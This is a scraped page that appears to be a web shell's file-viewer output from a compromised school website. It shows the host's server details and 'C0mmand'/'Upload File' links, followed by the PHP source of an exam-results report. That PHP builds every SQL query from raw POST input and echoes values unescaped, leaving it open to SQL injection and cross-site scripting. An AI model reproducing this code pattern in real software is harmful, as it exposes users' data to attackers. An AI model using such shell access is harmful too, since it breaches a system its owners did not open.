|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.20 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u490972518/domains/ppschool.org.in/public_html/admin/libs/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include("../link/databaseconnection.php");
$session=$_POST['session'];
$class=$_POST['class'];
$exam=$_POST['exam'];
$exam12=$_POST['exam'];
$type=$_POST['type'];
$section=$_POST['section'];
$selc2="select * from sub where class='$class'";
$resc2=mysqli_query($conn,$selc2);
$row1=mysqli_fetch_array($resc2,MYSQLI_BOTH);
?>
<style>
th,td{font-size:12px;}
</style>
<div id='modal'>
<table border='1px solid' width='100%'><th>Session</th><th><?php echo $session?></th><th>Class</th><th><?php echo $class?></th><th>Exam</th><th><?php echo $exam?></th><th>Type</th><th><?php echo $type?></th><th>All</th></table>
<div class="table-responsive">
<table cellspacing="0" border='1px solid' width="100%">
<thead>
<tr >
<th>Sr</th>
<th style='width:5px'>Sch</th>
<th >Name</th>
<th >Father</th>
<th ><?php echo $row1['s1'] ?></th>
<th ><?php echo $row1['s2'] ?></th>
<th ><?php echo $row1['s3'] ?></th>
<th ><?php echo $row1['s4'] ?></th>
<th ><?php echo $row1['s5'] ?></th>
<th ><?php echo $row1['s6'] ?></th>
<th ><?php echo $row1['s7'] ?></th>
<th ><?php echo $row1['s8'] ?></th>
<?php if($row1['s9']!=''){?> <th style='width:55px'><?php echo $row1['s9'] ?></th><?php }?>
<?php if($row1['s10']!=''){?> <th style='width: 20px;'><?php echo $row1['s10'] ?></th><?php }?>
<th style='width: 20px;'>Total</th> <th style='width: 20px;'>PER</th>
<th style='width: 20px;'>P</th>
<th style='width: 20px;'>All P</th>
</tr>
</thead>
<tbody> <?php
$s=1;
$r=1;
if($type=='Annual Exam')
{
$exam='TERM I';
$type='Half Yearly';
}
$selc="select * from max_fill where session='$session' and exam='$exam' and type='$type' and class='$class' order by obtain desc";
$resc=mysqli_query($conn,$selc);
while($row=mysqli_fetch_array($resc,MYSQLI_BOTH))
{
$app=$row['sch'];
$reg=$row['reg_id'];
$name=$row['name'];
$total=$row['obtain'];
$selc4="select * from max where exam='$exam' and type='$type' and class='$class' order by id desc";
$resc4=mysqli_query($conn,$selc4);
$row4=mysqli_fetch_array($resc4,MYSQLI_BOTH);
$p=$row4['max'];
$p1=$p/100;
$selc1="select * from registration where id='$reg' and section='$section' ";
$resc1=mysqli_query($conn,$selc1);
$row10=mysqli_fetch_array($resc1,MYSQLI_BOTH);
$selc49="select * from grade_mark where exam='$exam12' and session='$session' and sch='$app' order by id desc";
$resc49=mysqli_query($conn,$selc49);
$row49=mysqli_fetch_array($resc49,MYSQLI_BOTH);
$selc12="select * from mark where session='$session' and exam='$exam' and class='$class' and type='$type' and sch='$app' ";
$resc12=mysqli_query($conn,$selc12);
$row12=mysqli_fetch_array($resc12,MYSQLI_BOTH);
if($row10)
{
?>
<tr>
<td><?php echo $s++;?></td>
<td style="width: 20px;"><?php echo $row10['application']?></td>
<td><?php echo $row10['name']?> </td>
<td><?php echo $row10['fname']?></td>
<td style='text-align:center'><?php echo $row12['s1']?></td>
<td style='text-align:center'><?php echo $row12['s2']?></td>
<td style='text-align:center'><?php echo $row12['s3']?></td>
<td style='text-align:center'><?php echo $row12['s4']?></td>
<td style='text-align:center'><?php echo $row12['s5']?></td>
<td style='text-align:center' ><?php echo $row12['s6']?></td>
<?php if($row1['s7']!=''){ ?><td style='text-align:center'><?php echo $row12['s7']?></td><?php }?>
<?php if($row1['s8']!=''){ ?><td style='text-align:center'><?php echo $row12['s8']?></td><?php }?>
<?php if($row1['s9']!=''){?> <td style='text-align:center'><?php echo $row12['s9']?></td><?php }?>
<?php if($row1['s10']!=''){?><td style='text-align:center'><?php echo $row12['s10']?></td><?php }?>
<?php if($row12){?><td style='text-align:center'><?php echo $to=(int)$row12['s1']+(int)$row12['s2']+(int)$row12['s3']+(int)$row12['s4']+(int)$row12['s5']+(int)$row12['s6']+(int)$row12['s7']+(int)$row12['s8']+(int)$row12['s9']+(int)$row12['s10'];?></td><?php }?><td style='text-align:center'><?php $per1=$total/$p1; echo substr("$per1",0,4);?></td>
<td style='text-align:center' ><?php echo $row49['p']?></td>
<td style='text-align:center' ><?php if($row10['all_p']>0) {echo $row10['all_p'];}?></td>
</tr>
<?php
$sel121="select * from max_fill where session='$session' and exam='$exam' and type='$type' and sch='$app'";
$res121=mysqli_query($conn,$sel121);
if($row121=mysqli_fetch_array($res121,MYSQLI_BOTH))
{
$up="update max_fill set obtain='$to',rank='$r' where session='$session' and exam='$exam' and type='$type' and sch='$app'";
if(mysqli_query($conn,$up))
{
echo '';
}
}
else
{
$ins="insert into max_fill (sch,reg_id,exam,type,session,class,obtain,name,rank) values('$app','$reg','$exam','$type','$session','$class','$to','$name','$rank')";
if(mysqli_query($conn,$ins))
{
echo '';
}
}
; $r++;}}
?></tbody>
</table>
</div>